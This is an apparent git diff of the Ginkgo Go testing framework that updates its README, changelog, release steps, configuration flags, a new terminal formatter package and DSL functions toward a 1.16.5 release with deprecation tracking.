+## 1.12.2
+
+### Fixes
+- Update dependencies [ea4a036]
+
 ## 1.12.1

 ### Fixes
@@ -1,10 +1,34 @@
 ![Ginkgo: A Go BDD Testing Framework](https://onsi.github.io/ginkgo/images/ginkgo.png)

-[![Build Status](https://travis-ci.org/onsi/ginkgo.svg?branch=master)](https://travis-ci.org/onsi/ginkgo)
+[![test](https://github.com/onsi/ginkgo/workflows/test/badge.svg?branch=master)](https://github.com/onsi/ginkgo/actions?query=workflow%3Atest+branch%3Amaster)

-Jump to the [docs](https://onsi.github.io/ginkgo/) to learn more.  To start rolling your Ginkgo tests *now* [keep reading](#set-me-up)!
+Jump to the [docs](https://onsi.github.io/ginkgo/) | [中文文档](https://ke-chain.github.io/ginkgodoc) to learn more.  To start rolling your Ginkgo tests *now* [keep reading](#set-me-up)!

-If you have a question, comment, bug report, feature request, etc. please open a GitHub issue.
+If you have a question, comment, bug report, feature request, etc. please open a GitHub issue, or visit the [Ginkgo Slack channel](https://app.slack.com/client/T029RQSE6/CQQ50BBNW).
+
+# Ginkgo 2.0 Release Candidate is available!
+
+An effort is underway to develop and deliver Ginkgo 2.0.  The work is happening in the [ver2](https://github.com/onsi/ginkgo/tree/ver2) branch and a changelog and migration guide is being maintained on that branch [here](https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md).  Issue [#711](https://github.com/onsi/ginkgo/issues/711) is the central place for discussion.
+
+As described in the [changelog](https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md) and [proposal](https://docs.google.com/document/d/1h28ZknXRsTLPNNiOjdHIO-F2toCzq4xoZDXbfYaBdoQ/edit#), Ginkgo 2.0 will clean up the Ginkgo codebase, deprecate and remove some v1 functionality, and add several new much-requested features.  To help users get ready for the migration, Ginkgo v1 has started emitting deprecation warnings for features that will no longer be supported with links to documentation for how to migrate away from these features.  If you have concerns or comments please chime in on [#711](https://github.com/onsi/ginkgo/issues/711).
+
+Please start exploring and using the V2 release!  To get started follow the [Using the Release Candidate](https://github.com/onsi/ginkgo/blob/ver2/docs/MIGRATING_TO_V2.md#using-the-beta) directions in the migration guide.
+
+## TLDR
+Ginkgo builds on Go's `testing` package, allowing expressive [Behavior-Driven Development](https://en.wikipedia.org/wiki/Behavior-driven_development) ("BDD") style tests.
+It is typically (and optionally) paired with the [Gomega](https://github.com/onsi/gomega) matcher library.
+
+```go
+Describe("the strings package", func() {
+  Context("strings.Contains()", func() {
+    When("the string contains the substring in the middle", func() {
+      It("returns `true`", func() {
+        Expect(strings.Contains("Ginkgo is awesome", "is")).To(BeTrue())
+      })
+    })
+  })
+})
+```

 ## Feature List

@@ -45,6 +69,8 @@ If you have a question, comment, bug report, feature request, etc. please open a

 - [Completions for VSCode](https://github.com/onsi/vscode-ginkgo): just use VSCode's extension installer to install `vscode-ginkgo`.

+- [Ginkgo tools for VSCode](https://marketplace.visualstudio.com/items?itemName=joselitofilho.ginkgotestexplorer): just use VSCode's extension installer to install `ginkgoTestExplorer`.
+
 - Straightforward support for third-party testing libraries such as [Gomock](https://code.google.com/p/gomock/) and [Testify](https://github.com/stretchr/testify).  Check out the [docs](https://onsi.github.io/ginkgo/#third-party-integrations) for details.

 - A modular architecture that lets you easily:
@@ -59,15 +85,37 @@ Ginkgo is best paired with Gomega.  Learn more about Gomega [here](https://onsi.

 Agouti allows you run WebDriver integration tests.  Learn more about Agouti [here](https://agouti.org)

-## Set Me Up!
+## Getting Started

-You'll need the Go command-line tools. Ginkgo is tested with Go 1.6+, but preferably you should get the latest. Follow the [installation instructions](https://golang.org/doc/install) if you don't have it installed.
+You'll need the Go command-line tools. Follow the [installation instructions](https://golang.org/doc/install) if you don't have it installed.

+### Global installation
+To install the Ginkgo command line interface:
 ```bash
+go get -u github.com/onsi/ginkgo/ginkgo
+```
+Note that this will install it to `$GOBIN`, which will need to be in the `$PATH` (or equivalent). Run `go help install` for more information.

-go get -u github.com/onsi/ginkgo/ginkgo  # installs the ginkgo CLI
-go get -u github.com/onsi/gomega/...     # fetches the matcher library
+### Go module ["tools package"](https://github.com/golang/go/issues/25922):
+Create (or update) a file called `tools/tools.go` with the following contents:
+```go
+// +build tools

+package tools
+
+import (
+	_ "github.com/onsi/ginkgo/ginkgo"
+)
+
+// This file imports packages that are used when running go generate, or used
+// during the development process but not otherwise depended on by built code.
+```
+The Ginkgo command can then be run via `go run github.com/onsi/ginkgo/ginkgo`.
+This approach allows the version of Ginkgo to be maintained under source control for reproducible results,
+and is well suited to automated test pipelines.
+
+### Bootstrapping
+```bash
 cd path/to/package/you/want/to/test

 ginkgo bootstrap # set up a new ginkgo suite
@@ -8,7 +8,10 @@ A Ginkgo release is a tagged git sha and a GitHub release.  To cut a release:
    - Fixes (fix version)
    - Maintenance (which in general should not be mentioned in `CHANGELOG.md` as they have no user impact)
 1. Update `VERSION` in `config/config.go`
-1. Create a commit with the version number as the commit message (e.g. `v1.3.0`)
-1. Tag the commit with the version number as the tag name (e.g. `v1.3.0`)
-1. Push the commit and tag to GitHub
-1. Create a new [GitHub release](https://help.github.com/articles/creating-releases/) with the version number as the tag  (e.g. `v1.3.0`).  List the key changes in the release notes.
+1. Commit, push, and release:
+  ```
+  git commit -m "vM.m.p"
+  git push
+  gh release create "vM.m.p"
+  git fetch --tags origin master
+  ```
@@ -1,7 +1,7 @@
 /*
 Ginkgo accepts a number of configuration options.

-These are documented [here](http://onsi.github.io/ginkgo/#the_ginkgo_cli)
+These are documented [here](http://onsi.github.io/ginkgo/#the-ginkgo-cli)

 You can also learn more via

@@ -20,14 +20,14 @@ import (
 	"fmt"
 )

-const VERSION = "1.12.1"
+const VERSION = "1.16.5"

 type GinkgoConfigType struct {
 	RandomSeed         int64
 	RandomizeAllSpecs  bool
 	RegexScansFilePath bool
-	FocusString        string
-	SkipString         string
+	FocusStrings       []string
+	SkipStrings        []string
 	SkipMeasurements   bool
 	FailOnPending      bool
 	FailFast           bool
@@ -65,6 +65,11 @@ func processPrefix(prefix string) string {
 	return prefix
 }

+type flagFunc func(string)
+
+func (f flagFunc) String() string     { return "" }
+func (f flagFunc) Set(s string) error { f(s); return nil }
+
 func Flags(flagSet *flag.FlagSet, prefix string, includeParallelFlags bool) {
 	prefix = processPrefix(prefix)
 	flagSet.Int64Var(&(GinkgoConfig.RandomSeed), prefix+"seed", time.Now().Unix(), "The seed used to randomize the spec suite.")
@@ -75,8 +80,8 @@ func Flags(flagSet *flag.FlagSet, prefix string, includeParallelFlags bool) {

 	flagSet.BoolVar(&(GinkgoConfig.DryRun), prefix+"dryRun", false, "If set, ginkgo will walk the test hierarchy without actually running anything.  Best paired with -v.")

-	flagSet.StringVar(&(GinkgoConfig.FocusString), prefix+"focus", "", "If set, ginkgo will only run specs that match this regular expression.")
-	flagSet.StringVar(&(GinkgoConfig.SkipString), prefix+"skip", "", "If set, ginkgo will only run specs that do not match this regular expression.")
+	flagSet.Var(flagFunc(flagFocus), prefix+"focus", "If set, ginkgo will only run specs that match this regular expression. Can be specified multiple times, values are ORed.")
+	flagSet.Var(flagFunc(flagSkip), prefix+"skip", "If set, ginkgo will only run specs that do not match this regular expression. Can be specified multiple times, values are ORed.")

 	flagSet.BoolVar(&(GinkgoConfig.RegexScansFilePath), prefix+"regexScansFilePath", false, "If set, ginkgo regex matching also will look at the file path (code location).")

@@ -133,12 +138,12 @@ func BuildFlagArgs(prefix string, ginkgo GinkgoConfigType, reporter DefaultRepor
 		result = append(result, fmt.Sprintf("--%sdryRun", prefix))
 	}

-	if ginkgo.FocusString != "" {
-		result = append(result, fmt.Sprintf("--%sfocus=%s", prefix, ginkgo.FocusString))
+	for _, s := range ginkgo.FocusStrings {
+		result = append(result, fmt.Sprintf("--%sfocus=%s", prefix, s))
 	}

-	if ginkgo.SkipString != "" {
-		result = append(result, fmt.Sprintf("--%sskip=%s", prefix, ginkgo.SkipString))
+	for _, s := range ginkgo.SkipStrings {
+		result = append(result, fmt.Sprintf("--%sskip=%s", prefix, s))
 	}

 	if ginkgo.FlakeAttempts > 1 {
@@ -211,3 +216,17 @@ func BuildFlagArgs(prefix string, ginkgo GinkgoConfigType, reporter DefaultRepor

 	return result
 }
+
+// flagFocus implements the -focus flag.
+func flagFocus(arg string) {
+	if arg != "" {
+		GinkgoConfig.FocusStrings = append(GinkgoConfig.FocusStrings, arg)
+	}
+}
+
+// flagSkip implements the -skip flag.
+func flagSkip(arg string) {
+	if arg != "" {
+		GinkgoConfig.SkipStrings = append(GinkgoConfig.SkipStrings, arg)
+	}
+}
@@ -0,0 +1,190 @@
+package formatter
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+)
+
+const COLS = 80
+
+type ColorMode uint8
+
+const (
+	ColorModeNone ColorMode = iota
+	ColorModeTerminal
+	ColorModePassthrough
+)
+
+var SingletonFormatter = New(ColorModeTerminal)
+
+func F(format string, args ...interface{}) string {
+	return SingletonFormatter.F(format, args...)
+}
+
+func Fi(indentation uint, format string, args ...interface{}) string {
+	return SingletonFormatter.Fi(indentation, format, args...)
+}
+
+func Fiw(indentation uint, maxWidth uint, format string, args ...interface{}) string {
+	return SingletonFormatter.Fiw(indentation, maxWidth, format, args...)
+}
+
+type Formatter struct {
+	ColorMode                ColorMode
+	colors                   map[string]string
+	styleRe                  *regexp.Regexp
+	preserveColorStylingTags bool
+}
+
+func NewWithNoColorBool(noColor bool) Formatter {
+	if noColor {
+		return New(ColorModeNone)
+	}
+	return New(ColorModeTerminal)
+}
+
+func New(colorMode ColorMode) Formatter {
+	f := Formatter{
+		ColorMode: colorMode,
+		colors: map[string]string{
+			"/":         "\x1b[0m",
+			"bold":      "\x1b[1m",
+			"underline": "\x1b[4m",
+
+			"red":          "\x1b[38;5;9m",
+			"orange":       "\x1b[38;5;214m",
+			"coral":        "\x1b[38;5;204m",
+			"magenta":      "\x1b[38;5;13m",
+			"green":        "\x1b[38;5;10m",
+			"dark-green":   "\x1b[38;5;28m",
+			"yellow":       "\x1b[38;5;11m",
+			"light-yellow": "\x1b[38;5;228m",
+			"cyan":         "\x1b[38;5;14m",
+			"gray":         "\x1b[38;5;243m",
+			"light-gray":   "\x1b[38;5;246m",
+			"blue":         "\x1b[38;5;12m",
+		},
+	}
+	colors := []string{}
+	for color := range f.colors {
+		colors = append(colors, color)
+	}
+	f.styleRe = regexp.MustCompile("{{(" + strings.Join(colors, "|") + ")}}")
+	return f
+}
+
+func (f Formatter) F(format string, args ...interface{}) string {
+	return f.Fi(0, format, args...)
+}
+
+func (f Formatter) Fi(indentation uint, format string, args ...interface{}) string {
+	return f.Fiw(indentation, 0, format, args...)
+}
+
+func (f Formatter) Fiw(indentation uint, maxWidth uint, format string, args ...interface{}) string {
+	out := fmt.Sprintf(f.style(format), args...)
+
+	if indentation == 0 && maxWidth == 0 {
+		return out
+	}
+
+	lines := strings.Split(out, "\n")
+
+	if maxWidth != 0 {
+		outLines := []string{}
+
+		maxWidth = maxWidth - indentation*2
+		for _, line := range lines {
+			if f.length(line) <= maxWidth {
+				outLines = append(outLines, line)
+				continue
+			}
+			outWords := []string{}
+			length := uint(0)
+			words := strings.Split(line, " ")
+			for _, word := range words {
+				wordLength := f.length(word)
+				if length+wordLength <= maxWidth {
+					length += wordLength
+					outWords = append(outWords, word)
+					continue
+				}
+				outLines = append(outLines, strings.Join(outWords, " "))
+				outWords = []string{word}
+				length = wordLength
+			}
+			if len(outWords) > 0 {
+				outLines = append(outLines, strings.Join(outWords, " "))
+			}
+		}
+
+		lines = outLines
+	}
+
+	if indentation == 0 {
+		return strings.Join(lines, "\n")
+	}
+
+	padding := strings.Repeat("  ", int(indentation))
+	for i := range lines {
+		if lines[i] != "" {
+			lines[i] = padding + lines[i]
+		}
+	}
+
+	return strings.Join(lines, "\n")
+}
+
+func (f Formatter) length(styled string) uint {
+	n := uint(0)
+	inStyle := false
+	for _, b := range styled {
+		if inStyle {
+			if b == 'm' {
+				inStyle = false
+			}
+			continue
+		}
+		if b == '\x1b' {
+			inStyle = true
+			continue
+		}
+		n += 1
+	}
+	return n
+}
+
+func (f Formatter) CycleJoin(elements []string, joiner string, cycle []string) string {
+	if len(elements) == 0 {
+		return ""
+	}
+	n := len(cycle)
+	out := ""
+	for i, text := range elements {
+		out += cycle[i%n] + text
+		if i < len(elements)-1 {
+			out += joiner
+		}
+	}
+	out += "{{/}}"
+	return f.style(out)
+}
+
+func (f Formatter) style(s string) string {
+	switch f.ColorMode {
+	case ColorModeNone:
+		return f.styleRe.ReplaceAllString(s, "")
+	case ColorModePassthrough:
+		return s
+	case ColorModeTerminal:
+		return f.styleRe.ReplaceAllStringFunc(s, func(match string) string {
+			if out, ok := f.colors[strings.Trim(match, "{}")]; ok {
+				return out
+			}
+			return match
+		})
+	}
+
+	return ""
+}
@@ -17,14 +17,14 @@ import (
 	"io"
 	"net/http"
 	"os"
+	"reflect"
 	"strings"
 	"time"

 	"github.com/onsi/ginkgo/config"
 	"github.com/onsi/ginkgo/internal/codelocation"
-	"github.com/onsi/ginkgo/internal/failer"
+	"github.com/onsi/ginkgo/internal/global"
 	"github.com/onsi/ginkgo/internal/remote"
-	"github.com/onsi/ginkgo/internal/suite"
 	"github.com/onsi/ginkgo/internal/testingtproxy"
 	"github.com/onsi/ginkgo/internal/writer"
 	"github.com/onsi/ginkgo/reporters"
@@ -33,6 +33,8 @@ import (
 	"github.com/onsi/ginkgo/types"
 )

+var deprecationTracker = types.NewDeprecationTracker()
+
 const GINKGO_VERSION = config.VERSION
 const GINKGO_PANIC = `
 Your test failed.
@@ -46,16 +48,10 @@ To circumvent this, you should call

 at the top of the goroutine that caused this panic.
 `
-const defaultTimeout = 1
-
-var globalSuite *suite.Suite
-var globalFailer *failer.Failer

 func init() {
 	config.Flags(flag.CommandLine, "ginkgo", true)
 	GinkgoWriter = writer.New(os.Stdout)
-	globalFailer = failer.New()
-	globalSuite = suite.New(globalFailer)
 }

 //GinkgoWriter implements an io.Writer
@@ -77,9 +73,15 @@ func GinkgoRandomSeed() int64 {
 	return config.GinkgoConfig.RandomSeed
 }

-//GinkgoParallelNode returns the parallel node number for the current ginkgo process
-//The node number is 1-indexed
+//GinkgoParallelNode is deprecated, use GinkgoParallelProcess instead
 func GinkgoParallelNode() int {
+	deprecationTracker.TrackDeprecation(types.Deprecations.ParallelNode(), codelocation.New(1))
+	return GinkgoParallelProcess()
+}
+
+//GinkgoParallelProcess returns the parallel process number for the current ginkgo process
+//The process number is 1-indexed
+func GinkgoParallelProcess() int {
 	return config.GinkgoConfig.ParallelNode
 }

@@ -100,26 +102,37 @@ func GinkgoT(optionalOffset ...int) GinkgoTInterface {
 	if len(optionalOffset) > 0 {
 		offset = optionalOffset[0]
 	}
-	return testingtproxy.New(GinkgoWriter, Fail, offset)
+	failedFunc := func() bool {
+		return CurrentGinkgoTestDescription().Failed
+	}
+	nameFunc := func() string {
+		return CurrentGinkgoTestDescription().FullTestText
+	}
+	return testingtproxy.New(GinkgoWriter, Fail, Skip, failedFunc, nameFunc, offset)
 }

 //The interface returned by GinkgoT().  This covers most of the methods
 //in the testing package's T.
 type GinkgoTInterface interface {
-	Fail()
+	Cleanup(func())
+	Setenv(key, value string)
 	Error(args ...interface{})
 	Errorf(format string, args ...interface{})
+	Fail()
 	FailNow()
+	Failed() bool
 	Fatal(args ...interface{})
 	Fatalf(format string, args ...interface{})
+	Helper()
 	Log(args ...interface{})
 	Logf(format string, args ...interface{})
-	Failed() bool
+	Name() string
 	Parallel()
 	Skip(args ...interface{})
-	Skipf(format string, args ...interface{})
 	SkipNow()
+	Skipf(format string, args ...interface{})
 	Skipped() bool
+	TempDir() string
 }

 //Custom Ginkgo test reporters must implement the Reporter interface.
@@ -156,7 +169,7 @@ type GinkgoTestDescription struct {

 //CurrentGinkgoTestDescripton returns information about the current running test.
 func CurrentGinkgoTestDescription() GinkgoTestDescription {
-	summary, ok := globalSuite.CurrentRunningSpecSummary()
+	summary, ok := global.Suite.CurrentRunningSpecSummary()
 	if !ok {
 		return GinkgoTestDescription{}
 	}
@@ -202,28 +215,39 @@ func RunSpecs(t GinkgoTestingT, description string) bool {
 	if config.DefaultReporterConfig.ReportFile != "" {
 		reportFile := config.DefaultReporterConfig.ReportFile
 		specReporters[0] = reporters.NewJUnitReporter(reportFile)
-		return RunSpecsWithDefaultAndCustomReporters(t, description, specReporters)
+		specReporters = append(specReporters, buildDefaultReporter())
 	}
-	return RunSpecsWithCustomReporters(t, description, specReporters)
+	return runSpecsWithCustomReporters(t, description, specReporters)
 }

 //To run your tests with Ginkgo's default reporter and your custom reporter(s), replace
 //RunSpecs() with this method.
 func RunSpecsWithDefaultAndCustomReporters(t GinkgoTestingT, description string, specReporters []Reporter) bool {
+	deprecationTracker.TrackDeprecation(types.Deprecations.CustomReporter())
 	specReporters = append(specReporters, buildDefaultReporter())
-	return RunSpecsWithCustomReporters(t, description, specReporters)
+	return runSpecsWithCustomReporters(t, description, specReporters)
 }

 //To run your tests with your custom reporter(s) (and *not* Ginkgo's default reporter), replace
 //RunSpecs() with this method.  Note that parallel tests will not work correctly without the default reporter
 func RunSpecsWithCustomReporters(t GinkgoTestingT, description string, specReporters []Reporter) bool {
+	deprecationTracker.TrackDeprecation(types.Deprecations.CustomReporter())
+	return runSpecsWithCustomReporters(t, description, specReporters)
+}
+
+func runSpecsWithCustomReporters(t GinkgoTestingT, description string, specReporters []Reporter) bool {
 	writer := GinkgoWriter.(*writer.Writer)
 	writer.SetStream(config.DefaultReporterConfig.Verbose)
 	reporters := make([]reporters.Reporter, len(specReporters))
 	for i, reporter := range specReporters {
 		reporters[i] = reporter
 	}
-	passed, hasFocusedTests := globalSuite.Run(t, description, reporters, writer, config.GinkgoConfig)
+	passed, hasFocusedTests := global.Suite.Run(t, description, reporters, writer, config.GinkgoConfig)
+
+	if deprecationTracker.DidTrackDeprecations() {
+		fmt.Fprintln(colorable.NewColorableStderr(), deprecationTracker.DeprecationsReport())
+	}
+
 	if passed && hasFocusedTests && strings.TrimSpace(os.Getenv("GINKGO_EDITOR_INTEGRATION")) == "" {
 		fmt.Println("PASS | FOCUSED")
 		os.Exit(types.GINKGO_FOCUS_EXIT_CODE)
@@ -252,7 +276,7 @@ func Skip(message string, callerSkip ...int) {
 		skip = callerSkip[0]
 	}

-	globalFailer.Skip(message, codelocation.New(skip+1))
+	global.Failer.Skip(message, codelocation.New(skip+1))
 	panic(GINKGO_PANIC)
 }

@@ -263,7 +287,7 @@ func Fail(message string, callerSkip ...int) {
 		skip = callerSkip[0]
 	}

-	globalFailer.Fail(message, codelocation.New(skip+1))
+	global.Failer.Fail(message, codelocation.New(skip+1))
 	panic(GINKGO_PANIC)
 }

@@ -280,7 +304,7 @@ func Fail(message string, callerSkip ...int) {
 func GinkgoRecover() {
 	e := recover()
 	if e != nil {
-		globalFailer.Panic(codelocation.New(1), e)
+		global.Failer.Panic(codelocation.New(1), e)
 	}
 }

@@ -291,25 +315,25 @@ func GinkgoRecover() {
 //equivalent.  The difference is purely semantic -- you typically Describe the behavior of an object
 //or method and, within that Describe, outline a number of Contexts and Whens.
 func Describe(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypeNone, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypeNone, codelocation.New(1))
 	return true
 }

 //You can focus the tests within a describe block using FDescribe
 func FDescribe(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypeFocused, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypeFocused, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using PDescribe
 func PDescribe(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using XDescribe
 func XDescribe(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

@@ -320,25 +344,25 @@ func XDescribe(text string, body func()) bool {
 //equivalent.  The difference is purely semantic -- you typical Describe the behavior of an object
 //or method and, within that Describe, outline a number of Contexts and Whens.
 func Context(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypeNone, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypeNone, codelocation.New(1))
 	return true
 }

 //You can focus the tests within a describe block using FContext
 func FContext(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypeFocused, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypeFocused, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using PContext
 func PContext(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using XContext
 func XContext(text string, body func()) bool {
-	globalSuite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode(text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

@@ -349,25 +373,25 @@ func XContext(text string, body func()) bool {
 //equivalent.  The difference is purely semantic -- you typical Describe the behavior of an object
 //or method and, within that Describe, outline a number of Contexts and Whens.
 func When(text string, body func()) bool {
-	globalSuite.PushContainerNode("when "+text, body, types.FlagTypeNone, codelocation.New(1))
+	global.Suite.PushContainerNode("when "+text, body, types.FlagTypeNone, codelocation.New(1))
 	return true
 }

 //You can focus the tests within a describe block using FWhen
 func FWhen(text string, body func()) bool {
-	globalSuite.PushContainerNode("when "+text, body, types.FlagTypeFocused, codelocation.New(1))
+	global.Suite.PushContainerNode("when "+text, body, types.FlagTypeFocused, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using PWhen
 func PWhen(text string, body func()) bool {
-	globalSuite.PushContainerNode("when "+text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode("when "+text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

 //You can mark the tests within a describe block as pending using XWhen
 func XWhen(text string, body func()) bool {
-	globalSuite.PushContainerNode("when "+text, body, types.FlagTypePending, codelocation.New(1))
+	global.Suite.PushContainerNode("when "+text, body, types.FlagTypePending, codelocation.New(1))
 	return true
 }

@@ -377,25 +401,27 @@ func XWhen(text string, body func()) bool {
 //Ginkgo will normally run It blocks synchronously.  To perform asynchronous tests, pass a
 //function that accepts a Done channel.  When you do this, you can also provide an optional timeout.
 func It(text string, body interface{}, timeout ...float64) bool {
-	globalSuite.PushItNode(text, body, types.FlagTypeNone, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushItNode(text, body, types.FlagTypeNone, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

 //You can focus individual Its using FIt
 func FIt(text string, body interface{}, timeout ...float64) bool {
-	globalSuite.PushItNode(text, body, types.FlagTypeFocused, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushItNode(text, body, types.FlagTypeFocused, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

 //You can mark Its as pending using PIt
 func PIt(text string, _ ...interface{}) bool {
-	globalSuite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
+	global.Suite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

 //You can mark Its as pending using XIt
 func XIt(text string, _ ...interface{}) bool {
-	globalSuite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
+	global.Suite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

@@ -403,25 +429,27 @@ func XIt(text string, _ ...interface{}) bool {
 //which "It" does not fit into a natural sentence flow. All the same protocols apply for Specify blocks
 //which apply to It blocks.
 func Specify(text string, body interface{}, timeout ...float64) bool {
-	globalSuite.PushItNode(text, body, types.FlagTypeNone, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushItNode(text, body, types.FlagTypeNone, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

 //You can focus individual Specifys using FSpecify
 func FSpecify(text string, body interface{}, timeout ...float64) bool {
-	globalSuite.PushItNode(text, body, types.FlagTypeFocused, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushItNode(text, body, types.FlagTypeFocused, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

 //You can mark Specifys as pending using PSpecify
 func PSpecify(text string, is ...interface{}) bool {
-	globalSuite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
+	global.Suite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

 //You can mark Specifys as pending using XSpecify
 func XSpecify(text string, is ...interface{}) bool {
-	globalSuite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
+	global.Suite.PushItNode(text, func() {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

@@ -452,25 +480,29 @@ func By(text string, callbacks ...func()) {
 //The body function must have the signature:
 //	func(b Benchmarker)
 func Measure(text string, body interface{}, samples int) bool {
-	globalSuite.PushMeasureNode(text, body, types.FlagTypeNone, codelocation.New(1), samples)
+	deprecationTracker.TrackDeprecation(types.Deprecations.Measure(), codelocation.New(1))
+	global.Suite.PushMeasureNode(text, body, types.FlagTypeNone, codelocation.New(1), samples)
 	return true
 }

 //You can focus individual Measures using FMeasure
 func FMeasure(text string, body interface{}, samples int) bool {
-	globalSuite.PushMeasureNode(text, body, types.FlagTypeFocused, codelocation.New(1), samples)
+	deprecationTracker.TrackDeprecation(types.Deprecations.Measure(), codelocation.New(1))
+	global.Suite.PushMeasureNode(text, body, types.FlagTypeFocused, codelocation.New(1), samples)
 	return true
 }

 //You can mark Measurements as pending using PMeasure
 func PMeasure(text string, _ ...interface{}) bool {
-	globalSuite.PushMeasureNode(text, func(b Benchmarker) {}, types.FlagTypePending, codelocation.New(1), 0)
+	deprecationTracker.TrackDeprecation(types.Deprecations.Measure(), codelocation.New(1))
+	global.Suite.PushMeasureNode(text, func(b Benchmarker) {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

 //You can mark Measurements as pending using XMeasure
 func XMeasure(text string, _ ...interface{}) bool {
-	globalSuite.PushMeasureNode(text, func(b Benchmarker) {}, types.FlagTypePending, codelocation.New(1), 0)
+	deprecationTracker.TrackDeprecation(types.Deprecations.Measure(), codelocation.New(1))
+	global.Suite.PushMeasureNode(text, func(b Benchmarker) {}, types.FlagTypePending, codelocation.New(1), 0)
 	return true
 }

@@ -481,7 +513,8 @@ func XMeasure(text string, _ ...interface{}) bool {
 //
 //You may only register *one* BeforeSuite handler per test suite.  You typically do so in your bootstrap file at the top level.
 func BeforeSuite(body interface{}, timeout ...float64) bool {
-	globalSuite.SetBeforeSuiteNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.SetBeforeSuiteNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

@@ -494,7 +527,8 @@ func BeforeSuite(body interface{}, timeout ...float64) bool {
 //
 //You may only register *one* AfterSuite handler per test suite.  You typically do so in your bootstrap file at the top level.
 func AfterSuite(body interface{}, timeout ...float64) bool {
-	globalSuite.SetAfterSuiteNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.SetAfterSuiteNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

@@ -539,7 +573,7 @@ func AfterSuite(body interface{}, timeout ...float64) bool {
 //		Ω(err).ShouldNot(HaveOccurred())
 //	})
 func SynchronizedBeforeSuite(node1Body interface{}, allNodesBody interface{}, timeout ...float64) bool {
-	globalSuite.SetSynchronizedBeforeSuiteNode(
+	global.Suite.SetSynchronizedBeforeSuiteNode(
 		node1Body,
 		allNodesBody,
 		codelocation.New(1),
@@ -566,7 +600,7 @@ func SynchronizedBeforeSuite(node1Body interface{}, allNodesBody interface{}, ti
 //		dbRunner.Stop()
 //	})
 func SynchronizedAfterSuite(allNodesBody interface{}, node1Body interface{}, timeout ...float64) bool {
-	globalSuite.SetSynchronizedAfterSuiteNode(
+	global.Suite.SetSynchronizedAfterSuiteNode(
 		allNodesBody,
 		node1Body,
 		codelocation.New(1),
@@ -581,7 +615,8 @@ func SynchronizedAfterSuite(allNodesBody interface{}, node1Body interface{}, tim
 //Like It blocks, BeforeEach blocks can be made asynchronous by providing a body function that accepts
 //a Done channel
 func BeforeEach(body interface{}, timeout ...float64) bool {
-	globalSuite.PushBeforeEachNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushBeforeEachNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

@@ -591,7 +626,8 @@ func BeforeEach(body interface{}, timeout ...float64) bool {
 //Like It blocks, BeforeEach blocks can be made asynchronous by providing a body function that accepts
 //a Done channel
 func JustBeforeEach(body interface{}, timeout ...float64) bool {
-	globalSuite.PushJustBeforeEachNode(body, codelocation.New(1), parseTimeout(timeout...))
+	validateBodyFunc(body, codelocation.New(1))
+	global.Suite.PushJustBeforeEachNode(body, codelocation.New(1), parseTimeout(timeout...))
 	return true
 }

@@ -601,7 +637,8 @@ func JustBeforeEach(body interface{}, timeout ...float64) bool {
 //Like It blocks, JustAfterEach blocks can be made asynchronous by providing a body function that accepts
 //a Done channel
